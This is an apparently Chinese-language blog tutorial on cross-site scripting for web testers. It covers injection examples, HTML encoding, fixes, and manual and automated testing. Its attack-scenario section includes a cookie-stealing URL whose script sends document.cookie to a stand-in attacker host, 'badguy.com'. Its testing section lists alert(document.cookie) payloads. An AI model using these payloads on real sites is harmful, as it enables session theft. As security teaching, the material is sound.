Web安全测试之XSS实例讲解


Posted in Javascript onAugust 15, 2016

Web安全测试之XSS

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 Web安全测试之XSS实例讲解

 HTML Encode

XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

 Web安全测试之XSS实例讲解

 在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

Web安全测试之XSS实例讲解

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

<html>
<title></title>

<body>


Results for <%Reequest.QueryString("term")%>


...

</body>
</html>

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复

原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  < for <, > for >, " for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

<%
strUserCode = Request.QueryString(“code”);
strUser = Request.Form(“USER”);
strID = Request.Cookies(“ID”);
%>

 假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

  方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。

HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)

在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

Web安全测试之XSS实例讲解

 如果需要做测试, 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

Web安全测试之XSS实例讲解

很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

以上就是Web安全测试之XSS,后续继续整理相关的软件测试资料,谢谢大家对本站的支持!

Javascript 相关文章推荐
JavaScript入门之基本函数详解
Oct 21 Javascript
jQuery中innerWidth()方法用法实例
Jan 19 Javascript
jQuery实现页面顶部显示的进度条效果完整实例
Dec 09 Javascript
关于数据与后端进行交流匹配(点亮星星)
Aug 03 Javascript
微信小程序 教程之数据绑定
Oct 18 Javascript
HTML5 js实现拖拉上传文件功能
Nov 20 Javascript
详解如何在vue中使用sass
Jun 21 Javascript
javascript 日期相减-在线教程(附代码)
Aug 17 Javascript
利用jQuery+localStorage实现一个简易的计时器示例代码
Dec 25 jQuery
微信小程序自定义tabBar组件开发详解
Sep 24 Javascript
element-ui 远程搜索组件el-select在项目中组件化的实现代码
Dec 04 Javascript
使用这 6个Vue加载动画库来减少我们网站的跳出率
May 18 Vue.js
js中获取jsp表单中radio类型的值简单实例
Aug 15 #Javascript
卸载安装Node.js与npm过程详解
Aug 15 #Javascript
jQuery Easyui Tabs扩展根据自定义属性打开页签
Aug 15 #Javascript
浅谈js中字符和数组一些基本算法题
Aug 15 #Javascript
jQuery Easyui DataGrid点击某个单元格即进入编辑状态焦点移开后保存数据
Aug 15 #Javascript
jQuery EasyUI datagrid在翻页以后仍能记录被选中行的实现代码
Aug 15 #Javascript
jQuery Easyui Datagrid实现单行的上移下移及保存移动的结果
Aug 15 #Javascript
You might like
php仿ZOL分页类代码
2008/10/02 PHP
php MsSql server时遇到的中文编码问题
2009/06/11 PHP
php小经验:解析preg_match与preg_match_all 函数
2013/06/29 PHP
Laravel使用swoole实现websocket主动消息推送的方法介绍
2019/10/20 PHP
Jquery实现视频播放页面的关灯开灯效果
2013/05/27 Javascript
jQuery内部原理和实现方式浅析
2015/02/03 Javascript
javascript删除数组重复元素的方法汇总
2015/06/24 Javascript
jQuery.extend 函数及用法详细
2015/09/06 Javascript
JS中使用变量保存arguments对象的方法
2016/06/03 Javascript
jQuery点击导航栏选中更换样式的实现代码
2017/01/23 Javascript
angular实现图片懒加载实例代码
2017/06/08 Javascript
Vue.js实现的计算器功能完整示例
2018/07/11 Javascript
Three.js实现3D机房效果
2018/12/30 Javascript
layer.open提交子页面的form和layedit文本编辑内容的方法
2019/09/27 Javascript
如何利用 JS 脚本实现网页全自动秒杀抢购功能
2020/10/12 Javascript
[58:57]2018DOTA2亚洲邀请赛3月29日小组赛B组 Effect VS VGJ.T
2018/03/30 DOTA
Python中的urllib模块使用详解
2015/07/07 Python
Python实现字典的遍历与排序功能示例
2017/12/23 Python
Python numpy 提取矩阵的某一行或某一列的实例
2018/04/03 Python
Python 实现使用dict 创建二维数据、DataFrame
2018/04/13 Python
使用python进行文本预处理和提取特征的实例
2018/06/05 Python
Linux下Pycharm、Anaconda环境配置及使用踩坑
2018/12/19 Python
python3读取图片并灰度化图片的四种方法(OpenCV、PIL.Image、TensorFlow方法)总结
2019/07/04 Python
Python实现Selenium自动化Page模式
2019/07/14 Python
Python 求数组局部最大值的实例
2019/11/26 Python
Python json转字典字符方法实例解析
2020/04/13 Python
自定义Django_rest_framework_jwt登陆错误返回的解决
2020/10/18 Python
联想瑞士官方网站:Lenovo Switzerland
2017/11/19 全球购物
公司出纳岗位职责
2013/12/07 职场文书
运动会广播稿200字
2014/01/15 职场文书
办理居住证介绍信
2014/01/15 职场文书
我的梦想演讲稿500字
2014/08/21 职场文书
关于群众路线的心得体会
2014/11/05 职场文书
2015年远程教育工作总结
2015/05/20 职场文书
创业计划书之零食店(进口)
2019/09/24 职场文书
SQL注入的实现以及防范示例详解
2021/06/02 MySQL